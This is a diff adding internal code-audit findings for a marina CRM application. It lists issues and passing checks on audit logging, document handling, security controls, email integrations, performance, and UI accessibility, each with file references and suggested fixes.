+## 🟠 AU-10: Cascade-archived interests produce no individual audit rows
+
+- **File:** `src/lib/services/clients.service.ts:578-618`
+- **What:** `archiveClient` batch-archives open interests, writes ONE `entityType: 'client'` row with `newValue: { cascadedInterestIds: [...] }`. No per-interest rows. `search_text` doesn't include `new_value`, so searching for an interest ID returns nothing.
+- **Why it matters:** Auditor querying for a specific archived interest sees no archive event; must know to look at parent client row.
+- **Suggested fix:** Loop over `archivedInterestIds` and emit per-interest `createAuditLog({ action: 'archive', entityType: 'interest', entityId, metadata: { cascadeSource: 'client_archive', clientId } })` (fire-and-forget).
+
+## 🟡 MEDIUM AU-12: No audit log CSV export endpoint
+
+- **File:** (absent — no `src/app/api/v1/admin/audit/export/route.ts`)
+- **What:** No download button, no API. Expenses domain has reference impl at `src/app/api/v1/expenses/export/csv/route.ts`.
+- **Why it matters:** GDPR / marina licensing audits often require exports.
+- **Suggested fix:** `GET /api/v1/admin/audit/export/csv` reusing `searchAuditLogs` + filter params.
+
+## 🟡 MEDIUM AU-13: Outcome change uses `action: 'update'`, not distinct verb
+
+- **File:** `src/lib/services/interests.service.ts:1047-1058`
+- **What:** `setInterestOutcome`/`clearInterestOutcome` log `action: 'update'` with `metadata.type: 'outcome_set'/'outcome_cleared'`. No `outcome_change` in `AuditAction` or filter dropdown. `metadata.type` not in `search_text` — FTS can't isolate.
+- **Suggested fix:** Add `'outcome_change'` to `AuditAction` union; use in both functions; add to dropdown; add to `DEFAULT_SEVERITY_BY_ACTION` as `'warning'`.
+
+## 🟢 LOW AU-14: Tier map sparse; new actions default to 'info'
+
+- **File:** `src/lib/audit.ts:220-222`
+- **What:** Only 2 entries (`permission_denied: 'warning'`, `hard_delete: 'critical'`). `password_change`, `portal_activate`, `revoke_invite`, `branding.logo.uploaded`, `rule_evaluated` all default to `'info'`. Severity≥warning filter misses security-relevant events.
+- **Suggested fix:** Add `password_change/portal_activate/revoke_invite: 'warning'`. `reconcile_manual` is in `metadata.type` — add `severity: 'warning'` at the call site in `berths.service.ts`.
+
+## 🟢 LOW AU-14b: Action filter dropdown missing 12 verbs
+
+- **File:** `src/components/admin/audit/audit-log-list.tsx:393-415`
+- **What:** Dropdown has 20 actions; missing `branding.logo.*`, `rule_evaluated`, `revoke/resend_invite`, `request/send_gdpr_export`, `password_change`, `portal_invite/activate/password_reset_request/password_reset`. Free-text partially compensates.
+- **Suggested fix:** Add missing action verbs.
+
+## 🟢 LOW AU-14c: Entity-type filter missing several domains
+
+- **File:** `src/components/admin/audit/audit-log-list.tsx:88-102`
+- **What:** Missing `document_folder`, `file`, `company`, `yacht`, `email_account`, `audit_log`, `backup_job`. Free-text on `entity_type` (in tsvector) works; dropdown is convenience.
+- **Suggested fix:** Add missing entity types.
+
+## 🟢 LOW AU-14d: Dead code — `listAuditLogs` (ILIKE) in `audit.service.ts`
+
+- **File:** `src/lib/services/audit.service.ts`
+- **What:** `listAuditLogs` exported but zero import sites. Admin route uses `searchAuditLogs` exclusively. ILIKE search is dead.
+- **Why it matters:** Future dev might wire it up bypassing GIN index → seq scans at scale.
+- **Suggested fix:** Delete `audit.service.ts` or mark `@deprecated`.
+
+---
+
+## ✅ Passing
+
+- AU-01 (10 sampled mutating endpoints all audit: clients/interests/companies/berths/documents/folders/tags/roles/settings/files create + update + archive)
+- AU-02 password/token fragment masking covers `password`, `passwordHash`, `token`, `secret`, `api_key`, `apikey`, `auth`, `cookie`, `credentials` recursively up to depth 4. `email-accounts.service.ts` correctly logs only `metadata: { emailAddress, provider }`; `credentialsEnc` stripped before any JSON serialization.
+- AU-04 action filter wired (exact `eq()` filter)
+- AU-05 entity-type filter wired (same path)
+- AU-06 user filter wired (UUID exact match)
+- AU-07 date-range filter (ISO strings → Date → gte/lte; UI validates inversion)
+- AU-09 reconcile_manual tag in metadata at `berths.service.ts:473`
+- AU-11 permission_denied feed filter at `src/components/dashboard/activity-feed.tsx:185-189` (`i.action !== 'permission_denied'`); admin page correctly displays them with `'bg-red-800'` badge

docs/audit-findings-tmp/05-documents-files.md

@@ -0,0 +1,52 @@
+# Documents/Files Audit (D-01-22) — agent #5
+
+**Headline:** Structurally solid across all 22 checks. One medium real-time event mismatch + 2 low documentation divergences.
+
+**Counts:** 0 critical · 0 high · 1 medium · 2 low · 19 passing
+
+---
+
+## 🟡 MEDIUM D-01/02/03: Real-time invalidation event name mismatch after upload
+
+- **File:** `src/components/documents/documents-hub.tsx:141`
+- **What:** Hub subscribes to `'file:created': [['files']]`, but emitter (`files.ts:128`) and socket-events type def (`events.ts:264`) use `'file:uploaded'`.
+- **Why it matters:** After remote upload (other session, webhook auto-deposit), hub Files sections don't auto-refresh. Local `FolderDropZone` upload bypasses this via direct `queryClient.invalidateQueries`, but remote uploads invisible until reload.
+- **Suggested fix:** Change line 141 to `'file:uploaded': [['files']]` to match `client-files-tab.tsx:32`, `company-files-tab.tsx:32`, `interest-documents-tab.tsx:62`.
+
+## 🟢 LOW D-13: HubRootView has 2 sections, not 3
+
+- **File:** `src/components/documents/hub-root-view.tsx:50-100`
+- **What:** Spec says 3 cards; component renders 2 ("Signing in progress" + "Recent files"). Doc-only.
+- **Suggested fix:** Update CLAUDE.md to "2 sections."
+
+## 🟢 LOW D-16: `interest.yachtId` branch in chain doc spec doesn't exist in code
+
+- **File:** `src/lib/services/documents.service.ts:1225-1251`
+- **What:** Spec is `doc.clientId ?? .companyId ?? .yachtId ?? interest.clientId ?? interest.yachtId`. Code stops at `interest.clientId` because `interests.clientId` is NOT NULL — so the yachtId fallback is unreachable. Comment line 1239 explains.
+- **Suggested fix:** Update CLAUDE.md to drop the unreachable trailing branch, or annotate with `// unreachable: interests.clientId is NOT NULL`.
+
+---
+
+## ✅ Passing checks
+
+- D-01 A16 fix verified — `formStr()` returns `undefined` (not `null`) for absent FormData fields; root upload omits `folderId` correctly
+- D-02 entity-folder drag-drop carries `folderId`+`entityType`+`entityId`+typed FK
+- D-03 file picker dialog passes `folderId` (null for root) correctly
+- D-04 PDF inline preview via `PdfViewer` lazy-loaded
+- D-05 image inline preview + lightbox via `<img>` for jpeg/png/gif/webp
+- D-06 Word/Excel: `FileGrid` gates "Preview" with `PREVIEWABLE_MIMES.has(...)` so only "Download" shows; `FilePreviewDialog` never opened
+- D-07 download endpoint wraps with `withPermission('files', 'view', ...)`; `getFileById` enforces port via `file.portId !== portId`
+- D-08 `deleteFolderSoftRescue` (`src/lib/services/document-folders.service.ts:294-337`) wrapped in `db.transaction()`, re-parents folders + documents + files explicitly (no CASCADE)
+- D-09 `syncEntityFolderName` called in updateClient (clients.service.ts:554), updateCompany (companies.service.ts:187), updateYacht (yachts.service.ts:167)
+- D-10 `moveFolder` cycle prevention: rejects self at line 213, `pg_advisory_xact_lock` per port (line 233), walks ancestor chain with `seen` set, checks `cursor === folderId` at each step
+- D-11 `assertNotSystemManaged` called in renameFolder (line 172), moveFolder (line 217), deleteFolderSoftRescue (line 299)
+- D-12 `listFilesAggregatedByEntity` walks Client↔Companies (via companyMemberships INNER JOIN companies on portId)↔Yachts; cap 20 + total
+- D-14 EntityFolderView uses `useAggregatedWorkflows` (filters to INFLIGHT_STATUSES `['draft','sent','partially_signed']`); files with `signedFromDocumentId` show "View signing details"
+- D-15 `GET /api/v1/documents/[id]/signing-details` returns `{ data: { workflow, signers, events } }`; `getDocumentById` enforces portId
+- D-16 idempotency: outer gate `doc.status === 'completed' && doc.signedFileId` returns; inner `SELECT ... FOR UPDATE` re-check inside transaction
+- D-17 Defense-in-depth port at every join: `companies` INNER JOIN with `portId` (line 451), `clients` INNER JOIN with `portId` (line 497), `yachts/files` WHERE portId everywhere, LEFT JOIN `documents` with `or(eq(documents.portId, portId), isNull(documents.id))` (line 588-590). companyMemberships has no portId column but is port-scoped via INNER JOIN to companies/clients
+- D-18 `?folder=<uuid>` URL state — three-state (absent → undefined hub root, `=root` → null, `=<uuid>` → uuid); `decodeFolderParam`/`encodeFolderParam` symmetric; deep folder works
+- D-19 `ensureEntityFolder` race-safety: fast-path re-SELECT before insert; two distinct catch branches for `uniq_document_folders_entity` (re-SELECT winner) and `uniq_document_folders_sibling_name` (increment suffix)
+- D-20 magic-byte: `bufferMatchesMime` in files.ts:58 covers 8 MIME types in-server; presign-PUT only used by berth-pdf/brochure (both stream first 5 bytes + `isPdfMagic()`)
+- D-21 filename HTML-escape (`document-sends.service.ts:415-422`)
+- D-22 `streamAttachmentOrLink` size-threshold + 24h presigned URL fallback; `fallbackToLinkReason: 'size_above_threshold'` audited

docs/audit-findings-tmp/06-security.md

@@ -0,0 +1,30 @@
+# Security Audit (S-01-08, S-21-30) — agent #6
+
+**Headline:** 1 medium finding (S-23 plaintext S3 access key ID), 19 clean.
+
+## 🟡 MEDIUM S-23: S3 access key ID stored plaintext in `system_settings`
+
+- **File:** `src/lib/storage/index.ts:136`, `src/components/admin/storage-admin-panel.tsx:80`
+- **What:** S3 secret key (`storage_s3_secret_key_encrypted`) is AES-encrypted, but the access key ID (`storage_s3_access_key`) is stored/read as plaintext in `system_settings`.
+- **Why it matters:** Asymmetric encryption — DB exfil exposes the IAM key ID, narrowing the attack surface for credential stuffing or confirming which IAM principal to target. The access key ID is also surfaced in admin settings API responses.
+- **Suggested fix:** Apply same `encrypt()` / `*IsSet` pattern as the secret key. Migration to re-key existing rows. Update `resolveConfig` to call `decryptIfPresent`.
+
+## ✅ Passing checks
+
+- S-01 XSS via client.fullName (React text node)
+- S-02 XSS via tag.name (React child, sanitized style object)
+- S-03 XSS via note.content (plain text, no markdown rendering — `whitespace-pre-wrap` is CSS only)
+- S-04 XSS via email body markdown (`src/lib/utils/markdown-email.ts` escape-then-allowlist + DOMPurify second layer in `send-document-dialog.tsx`)
+- S-05 SQL injection via search query (Drizzle parameterized; `sql.raw` only on hardcoded constants in `admin/storage/route.ts:30` and `storage/migrate.ts:149`)
+- S-06 Path traversal in folder name (DB-only, never used as filesystem path)
+- S-07 Path traversal in file name / storage key (`validateStorageKey` in `src/lib/storage/filesystem.ts:49-69` rejects `..`/absolute/empty/non-allowlist chars; `resolveKey` does `path.resolve` prefix check)
+- S-08 SSRF via webhook target URL (two-layer: `isLocalOrPrivateHost` in `src/lib/validators/webhooks.ts` blocks RFC1918+loopback+link-local+CGNAT+cloud metadata; `resolveAndCheckHost` in `src/lib/queue/workers/webhooks.ts` re-resolves DNS at dispatch — DNS rebinding-resistant)
+- S-21 SMTP credential AES-256-GCM with random IV (`src/lib/utils/encryption.ts`)
+- S-22 IMAP credential same path as SMTP
+- S-24 Privilege escalation blocked: `updateUser` in `src/lib/services/users.service.ts:294-318` does caller-superset check; permission-overrides at `src/app/api/v1/admin/users/[id]/permission-overrides/route.ts:203-210` enforce per-leaf + block self-target at line 160; role definition mutations require `requireSuperAdmin` not just `manage_users`
+- S-25 Direct ID enumeration immune (`crypto.randomUUID` everywhere)
+- S-26 Audit log read-back of own permission denials — clean (admin-only `view_audit_log`)
+- S-27 Magic-byte verification verified
+- S-28 Filename HTML-escape in download links (`src/lib/services/document-sends.service.ts:415-420`)
+- S-29 Bounce-monitor email subject parsing — clean (no IMAP bounce worker exists yet; `email-threads.service.ts` uses parameterized `ilike` for subject matching)
+- S-30 `EMAIL_REDIRECT_TO` enforced at boot via Zod `superRefine` in `src/lib/env.ts:110-117` — production with the env set causes `process.exit(1)`. Webhook worker also short-circuits to `dead_letter` when set.

docs/audit-findings-tmp/07-email-integrations.md

@@ -0,0 +1,112 @@
+# Email + Integrations Audit (EM-01-19, IN-01-29) — agent #7
+
+**Headline:** Broadly well-implemented. Primary issue: missing SMTP timeouts on sales transporter (HIGH — risks worker starvation). Plus 8 medium gaps in portal-email portId scoping, digest catalog key, receipt scanner config, presign TTL.
+
+**Counts:** 0 critical · 1 high · 8 medium · 0 low · 30 passing
+
+---
+
+## 🟠 HIGH EM-XX: Sales transporter missing SMTP timeouts
+
+- **File:** `src/lib/services/sales-email-config.service.ts:331-337`
+- **What:** `createSalesTransporter` builds nodemailer transport with no timeout options. Compare `createTransporter` in `src/lib/email/index.ts:26-37` which uses `SMTP_TIMEOUTS = { connectionTimeout: 10_000, greetingTimeout: 10_000, socketTimeout: 30_000 }`.
+- **Why it matters:** Hung SMTP relay can stall send-out indefinitely. Email queue concurrency=5, maxAttempts=5. Without socket timeouts, one stuck TCP connection holds a worker for nodemailer's 2-min default × 5 retries = 10min/job × 5 slots = whole pool blocked for 10min by a single flaky send.
+- **Suggested fix:** Apply `SMTP_TIMEOUTS` constant to `nodemailer.createTransport` in `createSalesTransporter`.
+
+## 🟡 MEDIUM EM-05a: Per-port branding not threaded into portal activation/reset emails
+
+- **File:** `src/lib/services/portal-auth.service.ts:163-164`
+- **What:** `issueActivationToken` and `issuePasswordReset` call `sendEmail(email, subject, html, undefined, text)` without the 6th `portId` argument. Without `portId`, `createTransporter()` uses global env SMTP. Branding is threaded into HTML via `getBrandingShell(portId)` but the SMTP transport falls back to global.
+- **Why it matters:** Multi-port deploys: portal auth emails for port B go through global env SMTP, defeating per-port SMTP override.
+- **Suggested fix:** Pass `portId` as 6th arg to `sendEmail` in both `issueActivationToken` and the reset send.
+
+## 🟡 MEDIUM EM-07: CC/BCC not supported in main `sendEmail`
+
+- **File:** `src/lib/email/index.ts:54-68`
+- **What:** `SendEmailOptions` lacks `cc`/`bcc`. Sales send-out path also lacks them.
+- **Suggested fix:** Add optional `cc`/`bcc` to `SendEmailOptions`. Low urgency.
+
+## 🟡 MEDIUM EM-11: Bounce-to-interest linking not implemented
+
+- **File:** `src/lib/services/sales-email-config.service.ts:13` (header comment)
+- **What:** `getSalesImapConfig` exposes IMAP creds but no BullMQ worker reads IMAP. Failed deliveries don't update `document_sends.failedAt`.
+- **Suggested fix:** Wire BullMQ recurring job using imapflow to scan inbox for bounce NDRs, match against `document_sends.messageId`. Phase 7 §14.9 deferred.
+
+## 🟡 MEDIUM EM-16: Notification digest uses wrong catalog key for subject resolution
+
+- **File:** `src/lib/services/notification-digest.service.ts:161-169`
+- **What:** Calls `resolveSubject` with `key: 'crm_invite' as any` because `'notification_digest'` is not in `TEMPLATE_KEYS` in `src/lib/email/template-catalog.ts`.
+- **Why it matters:** Admin-set CRM invite subject override bleeds into digest emails.
+- **Suggested fix:** Add `'notification_digest'` to `TEMPLATE_KEYS`; update digest service to use it.
+
+## 🟡 MEDIUM IN-11: Presigned URL TTL fixed at 900s for portal downloads
+
+- **File:** `src/lib/storage/index.ts:240-254` (`presignDownloadUrl`); `src/lib/services/portal.service.ts:350` (`getDocumentDownloadUrl`)
+- **What:** `presignDownloadUrl` defaults `expirySeconds=900` (15min). Sales send-out correctly overrides to 24h. `getDocumentDownloadUrl` calls without expiry → 15min default.
+- **Why it matters:** Portal users opening their doc list and clicking after >15min get 403.
+- **Suggested fix:** Pass `expirySeconds: 4 * 3600` for portal download links, or sign on-demand from API.
+
+## 🟡 MEDIUM IN-21: OpenAI receipt-scanner module-level instantiation, no credential health check
+
+- **File:** `src/lib/services/receipt-scanner.ts:4`
+- **What:** `const openai = new OpenAI();` at module level reads `OPENAI_API_KEY` at import. SDK throws on first call when unset; catch returns zero-confidence empty result. No admin-visible health check.
+- **Suggested fix:** Guard `OPENAI_API_KEY` upfront with clear error. Add a health-check endpoint similar to `checkDocumensoHealth`.
+
+## 🟡 MEDIUM IN-23: Receipt OCR ignores per-port config; hardcoded `gpt-4o`
+
+- **File:** `src/lib/services/receipt-scanner.ts:19`
+- **What:** `model: 'gpt-4o'` hardcoded; per-port `getResolvedOcrConfig` not consulted; `aiEnabled` flag does nothing. Module-level singleton OpenAI client.
+- **Suggested fix:** Accept `portId`, call `getResolvedOcrConfig(portId)`, check `aiEnabled`, use `config.apiKey` and `config.model`. Branch on provider for OpenAI vs Anthropic.
+
+## 🟡 MEDIUM IN-24: Stale "pdfme" references in comments/seed
+
+- **File:** `src/lib/db/seed-data.ts:807`, `src/lib/services/document-templates.ts:573`
+- **What:** Comments still reference pdfme even though the rendering path was removed; `tiptap-validation.ts:8` confirms pdfme retired. `document-templates.ts:648-652` throws ValidationError for non-EOI templates.
+- **Suggested fix:** Update comments to reference pdf-lib AcroForm fill; remove "pdfme" from seed-data description.
+
+## 🟡 MEDIUM IN-29: Umami `testConnection` throws instead of returning typed result
+
+- **File:** `src/lib/services/umami.service.ts:80-101, 292`
+- **What:** `loadUmamiConfig` returns null gracefully; all public APIs return null when unconfigured. But `testConnection` throws `CodedError('UMAMI_NOT_CONFIGURED')` instead of returning `{ ok: false, error }` like `checkDocumensoHealth`.
+- **Suggested fix:** Return `{ ok: false, error: string }` to match Documenso convention.
+
+---
+
+## ✅ Passing checks
+
+- EM-01 per-port SMTP override (`getPortEmailConfig` in `port-config.ts:136`)
+- EM-02/03 default send-froms cascade (explicit `from` → `cfg.fromAddress` → env.SMTP_FROM → `noreply@${SMTP_HOST}`)
+- EM-04 EMAIL_REDIRECT_TO subject prefix `[redirected from <orig>]`; documenso-client also applies `applyRecipientRedirect`/`applyPayloadRedirect`; env.ts:110 prod boot guard
+- EM-05 branded shell (`renderShell` in `src/lib/email/shell.ts:37`)
+- EM-06 reply-to override applied
+- EM-08 send rate limit 50/user/hour Redis sliding-window keyed `${portId}:${userId}`
+- EM-09 `streamAttachmentOrLink` threshold + filename HTML-escape pre-SMTP
+- EM-10 IMAP probe script + `getSalesImapConfig` AES-256-GCM decrypted
+- EM-12 `document_sends` audit row in success + failure branches
+- EM-13 portal activation token: 32-byte token, hash stored in `portalAuthTokens`, `#token=...` fragment to stay out of logs
+- EM-14/15 reset/invite emails wired
+- EM-17 EOI sent via Documenso (not as nodemailer attachment)
+- EM-18/19 `renderEmailBody` escape-first + `isSafeHref` (https/mailto only) + `MERGE_VALUE_ESCAPE_MAP` neutralizes markdown chars
+- IN-01 v1 template-generate path (`generateDocumentFromTemplate`)
+- IN-02 v2 envelope/create multipart (FormData with `payload` JSON + `files` Blob)
+- IN-03 v2 distribute returns `recipients[].signingUrl` in one round-trip
+- IN-04 redistribute version-aware (v2 caveat: `recipientIds` may not target single recipient — API behavior risk, not code bug)
+- IN-05 downloadSignedPdf version-aware
+- IN-06 voidDocument version-aware (idempotent on 404)
+- IN-07 placeFields v2 bulk `field/create-many` percent coords + `fieldMeta`; v1 one POST per field with pixel coords
+- IN-08 `normalizeDocument` `id ?? documentId` for both docs and recipients (handles legacy `r.Recipient` capital-R)
+- IN-09 NocoDB `pg_advisory_xact_lock` + skip rows where `updated_at > last_imported_at`
+- IN-10 S3Backend with SSE AES256, all calls wrapped in `withTimeout(30_000)`, never imports MinIO directly
+- IN-12 filesystem MULTI_NODE_DEPLOYMENT guard (boot-time throw)
+- IN-13 BullMQ exponential backoff: email/docs 5×1s, webhooks 8×30s
+- IN-14 Redis noeviction in both compose files
+- IN-15 `src/worker.ts` imports all 10 workers + SIGTERM/SIGINT graceful shutdown
+- IN-16 public berths cache `s-maxage=300, stale-while-revalidate=60`
+- IN-17 status filter Sold > Under Offer (status OR has active is_specific_interest with isNull(end_date)+outcome) > Available
+- IN-18 mooring regex `^[A-Z]+\d+$` checked pre-DB; returns 400 for malformed
+- IN-19/20 dual-mode health endpoint with `timingSafeEqual`
+- IN-22 berth-pdf-parser tier-2 is `unpdf` (not Tesseract — prior comment correction); 30s timeout
+- IN-25 `fillEoiFormFields` flatten + metadata; missing fields warn rather than throw
+- IN-26 VALID_MERGE_TOKENS allow-list including `{{eoi.berthRange}}`
+- IN-27 `formatBerthRange` handles all cases (single/contig/non-contig/cross-pontoon/dedup)
+- IN-28 portal magic-link rate-limited 10/h/IP via `enforcePublicRateLimit(req, 'portalToken')`

docs/audit-findings-tmp/08-perf-behavioral.md

@@ -0,0 +1,55 @@
+# Performance + Behavioral Audit (P-05/09/13/14, B-01-22) — agent #8
+
+**Headline:** 1 critical (B-01 INNER JOIN drops hard-deleted berth links), 1 high (B-16 AppShell remount destroys form state), 1 medium (P-09a leading-wildcard ILIKE), 17 clean.
+
+**Counts:** 1 critical · 1 high · 1 medium · 1 low · 17 passing
+
+---
+
+## 🔴 CRITICAL B-01: Hard-deleted berth causes silent data loss across interest surfaces
+
+- **File:** `src/lib/services/interest-berths.service.ts:55` (`getPrimaryBerth`), `:87` (`getPrimaryBerthsForInterests`), `:140` (`listBerthsForInterest`)
+- **What:** All three helpers use `INNER JOIN berths ON berths.id = interestBerths.berthId`. When a berth is hard-deleted, the INNER JOIN silently drops the link.
+- **Why it matters:** Interest detail page shows `berthId: null`, `berthMooringNumber: null`. Kanban card shows no berth chip. EOI generation produces empty field. `archiveInterest` path that calls `getPrimaryBerth` before evaluating berth rule returns null and **skips the rule entirely**.
+- **Suggested fix:** Change all three `INNER JOIN` to `LEFT JOIN berths`. Callers already handle `null` mooringNumber. Add service-layer guard preventing hard-delete of berths with `interest_berths` rows (require unlink or soft-archive first).
+
+## 🟠 HIGH B-16: AppShell remounts children on breakpoint crossing, destroying form state
+
+- **File:** `src/components/layout/app-shell.tsx:58-70`
+- **What:** When `isMobile` flips on resize, the shell switches between `<MobileLayout>{children}</MobileLayout>` and the desktop `<div>...{children}...</div>`. React unmounts and remounts `children`, destroying any in-progress `useState` form drafts including `InlineEditableField`.
+- **Why it matters:** A user editing a client name on desktop who resizes past the mobile breakpoint loses unsaved draft text. Multi-step modal forms (reconcile wizard) open during resize get unmounted.
+- **Suggested fix:** Wrap shared content with stable `key`, or use CSS-only responsive layout so the children subtree never remounts. Alternatively `key={isMobile ? 'mobile' : 'desktop'}` only on the shell wrappers with `children` stable via Portal.
+
+## 🟡 MEDIUM P-09a: Leading-wildcard ILIKE in `buildListQuery` prevents index use
+
+- **File:** `src/lib/db/query-builder.ts`
+- **What:** List search uses `ILIKE '%term%'` with leading wildcard, defeating B-tree and trigram-prefix indexes.
+- **Why it matters:** Sequential scan on high-cardinality text columns; degrades at scale.
+- **Suggested fix:** Migrate to `pg_trgm` GIN indexes on the searched columns, or move to FTS via existing `search_text` GIN where one exists.
+
+## 🟢 LOW P-14: List endpoint `limit` allows up to 1000 rows
+
+- **File:** `src/lib/api/list-query.ts`
+- **What:** Generic list cap = 1000. Audit log is bounded to 200 with cursor pagination (better pattern).
+- **Why it matters:** A 1000-row response with relations can blow the 256 KB budget.
+- **Suggested fix:** Lower default cap to ~100; require explicit cursor pagination beyond.
+
+---
+
+## ✅ Passing checks
+
+- P-05 No N+1 — all secondary fetches batched via `inArray`
+- P-13 Audit FTS uses `to_tsvector('simple')` + GIN index + `plainto_tsquery('simple')` consistently (`src/lib/services/audit-search.service.ts`, migration `0014_black_banshee.sql`)
+- B-02 Sara Laurent contract-without-yachtId renders correctly (overview tab guards yacht section; stage-gate only fires on `changeInterestStage`)
+- B-03 `activeInterestsWhere` (`src/lib/services/active-interest.ts`) used in listInterestsForBoard, getInterestStageCounts, listBerths reconcile, recommender CTE
+- B-04 / B-05 `formatBerthRange` correct: single (`A1`), contiguous (`A1-A3`), non-contiguous (`A1, A3`), cross-pontoon (`A1-A2, B5-B7`), dedup, non-canonical pass-through
+- B-07 Tier B fires only when `activeInterestCount===0 && lostCount>0`; `lost_count` aggregates `LIKE 'lost%' OR cancelled`; heat scoring gated by `tier === 'B'`; fall-through policy enforces cooldown/never_auto_recommend
+- B-08 `withPermission` (`src/lib/api/helpers.ts:328-340`) writes `permission_denied` audit row before 403 (fire-and-forget `void`)
+- B-09 Same-stage no-op `if (existing.pipelineStage === data.pipelineStage) return STAGE_NOOP;` early-returns before DB/audit/socket (`src/lib/services/interests.service.ts:847-849`)
+- B-10 Documenso webhook handles empty body / malformed JSON via try/catch returning `{ ok: false }` 200 + warning log (`src/app/api/webhooks/documenso/route.ts:176-182, 202`)
+- B-11 `status_override_mode` transitions (null/manual/automated) all have audit coverage; reconcile clears to null, rules engine writes 'automated', admin UI writes 'manual'
+- B-13 Catch-up wizard `pipelineStage === 'contract'` sends `outcome: 'won'` (`src/components/berths/catch-up-wizard.tsx:120`); reconcile route validates `z.enum(['won']).optional()`
+- B-17 Bulk-add berths wizard step state persists in `BulkAddBerthsWizard`'s `useState`; no remount between steps
+- B-18 NotesList handles 6 entity types (clients/interests/yachts/companies/residential_clients/residential_interests); `companyNotes.updatedAt` substituted via `createdAt` per CLAUDE.md
+- B-19 `InlineEditableField` present on client/yacht/company/interest/residential-client/residential-interest/berth tabs (11 files)
+- B-22 `markExternallySigned` (`src/lib/services/external-signing.service.ts:68-72`) updates `{ docStatus: 'signed', updatedAt: now }`. Note: catalog said "documentId=null, signedAt=now" but interests table has no such columns — the service is correct relative to schema.

docs/audit-findings-tmp/09-ux-forms.md

@@ -0,0 +1,159 @@
+# UX/Forms/Tables Audit (U-001-100, code-side) — agent #9
+
+**Headline:** Generally consistent (Sheet, AlertDialog, EmptyState, requestId surfacing all good across most surfaces). 4 HIGH gaps: native `alert()` for bulk-action failures, icon-only buttons missing aria-label, unicode glyphs in portal, Vaul Drawer in mobile search overlay. Plus 14 MEDIUM gaps in form discipline + a11y + mobile nav.
+
+**Counts:** 0 critical · 4 high · 14 medium · 0 low
+
+---
+
+## 🟠 HIGH
+
+### U-059: Unicode glyphs as status icons in portal documents page
+
+- **File:** `src/app/(portal)/portal/documents/page.tsx:85-89`
+- **What:** Signer status rendered as raw Unicode (`'✓'` signed, `'✗'` declined, `'○'` pending) inside colour-coded `<span>` with no `aria-label`.
+- **Why it matters:** A11y — screen readers read literal Unicode names. Per project memory: decorative unicode glyphs are explicitly flagged. `inline-stage-picker.tsx:443` comment confirms the pattern ("was ⚑ unicode glyph — replaced with a Lucide").
+- **Suggested fix:** Replace with `<CheckCircle2>` / `<XCircle>` / `<Circle>` Lucide icons + `aria-label`.
+
+### U-066: Vaul Drawer used for mobile search overlay (violates Sheet doctrine)
+
+- **File:** `src/components/search/mobile-search-overlay.tsx:6`
+- **What:** `import { Drawer as VaulDrawer } from 'vaul'` — search overlay is a full-screen overlay, not a bottom sheet, but uses Vaul Drawer. CLAUDE.md says Vaul is reserved for mobile-bottom-sheet only (currently `MoreSheet` only).
+- **Suggested fix:** Convert to `<Sheet side="bottom">` or `<Dialog>` fullscreen. Visualviewport handling (lines 50-89) becomes redundant once Radix dialog primitive backs it.
+
+### U-076: Native `alert()` for bulk-action failure feedback in 3 lists
+
+- **Files:** `src/components/interests/interest-list.tsx:146`, `src/components/companies/company-list.tsx:73`, `src/components/yachts/yacht-list.tsx:66`
+- **What:** Partial-failure feedback via `alert(...)`. `client-list.tsx:145` uses `toast.warning(...)` correctly.
+- **Why it matters:** Native alert blocks main thread, can't be styled, fires in tests without suppression.
+- **Suggested fix:** Replace with `toast.warning(...)` matching `client-list.tsx`.
+
+### U-079: Icon-only buttons missing aria-label (5 sites)
+
+- **Files:**
+  - `src/components/notifications/notification-bell.tsx:65` (Bell icon button)
+  - `src/components/files/file-grid.tsx:121` (MoreHorizontal "…" on file cards)
+  - `src/components/admin/forms/form-template-list.tsx:102` (Trash button)
+  - `src/components/email/email-accounts-list.tsx:159` (Trash button)
+  - `src/components/companies/company-members-tab.tsx:228` (MoreHorizontal)
+- **Pattern reference (correct):** `src/components/shared/folder-actions-menu.tsx:96` uses `<span className="sr-only">More folder actions</span>`.
+- **Suggested fix:** Add `aria-label` to each, following the folder-actions-menu sr-only pattern.
+
+---
+
+## 🟡 MEDIUM
+
+### U-009: Audit log inline div instead of EmptyState component
+
+- **File:** `src/components/admin/audit/audit-log-list.tsx:524`
+- **What:** `<div><p className="text-muted-foreground">No audit log entries found.</p></div>` rather than `<EmptyState title="..." />`.
+- **Suggested fix:** Replace with `<EmptyState title="No audit log entries found." />`.
+
+### U-010: Two duplicate EmptyState components with incompatible APIs
+
+- **Files:** `src/components/ui/empty-state.tsx` vs `src/components/shared/empty-state.tsx`
+- **What:** `ui/` accepts `{icon: ReactNode, body, actions}`; `shared/` accepts `{icon: ElementType, description, action: {label, onClick}}`. 3 files use `ui/` (admin/reconcile-queue, documents/documents-hub, reservations/reservation-detail), 24 use `shared/`.
+- **Suggested fix:** Pick `shared/` as canonical (8× usage); migrate the 3 `ui/` callers and delete `ui/empty-state`.
+
+### U-021: Required-field marker inconsistent
+
+- **Files:** `src/components/clients/client-form.tsx:273`, `src/components/interests/interest-form.tsx:281`
+- **What:** Some fields use inline `*`, others have no marker; no `aria-required` on inputs; no consistent pattern.
+- **Suggested fix:** Single pattern: `<Label>Field <span aria-hidden>*</span></Label>` + `aria-required="true"` on input.
+
+### U-022: Help-text discoverability inconsistent
+
+- **File:** `src/components/shared/filter-bar.tsx`, `src/components/clients/client-form.tsx`
+- **What:** No tooltip pattern; some fields have always-visible muted-foreground hints, some have nothing.
+- **Suggested fix:** Document a rule (always-visible for constraints/format hints; tooltips only for icons).
+
+### U-024: Cancel/dismiss without unsaved-changes warning on ClientForm/YachtForm
+
+- **Files:** `src/components/clients/client-form.tsx`, `src/components/yachts/yacht-form.tsx`
+- **What:** `InterestForm.requestClose()` (line 123) checks `isDirty` and shows discard AlertDialog; `CompanyForm` also has it. ClientForm and YachtForm don't — sheet closes immediately.
+- **Suggested fix:** Add `isDirty` guard + discard AlertDialog matching InterestForm pattern.
+
+### U-031: FileUploadZone size limit not surfaced as client-side check
+
+- **File:** `src/components/files/file-upload-zone.tsx:170`
+- **What:** Accept attribute lists extensions; "up to 50MB" copy at line 163; no client-side size check before upload. Server-side check fails silently with "Upload failed" at line 103.
+- **Suggested fix:** Wire client-side size check before upload; show clear "File too large" message.
+
+### U-044: No jump-to-page input in pagination
+
+- **File:** `src/components/shared/data-table.tsx:420`
+- **Suggested fix:** Add small `<input type="number">` between Previous/Next.
+
+### U-048: No column resize/reorder on DataTable
+
+- **File:** `src/components/shared/data-table.tsx`
+- **What:** Visibility supported via `ColumnPicker`; widths fixed; no drag-reorder.
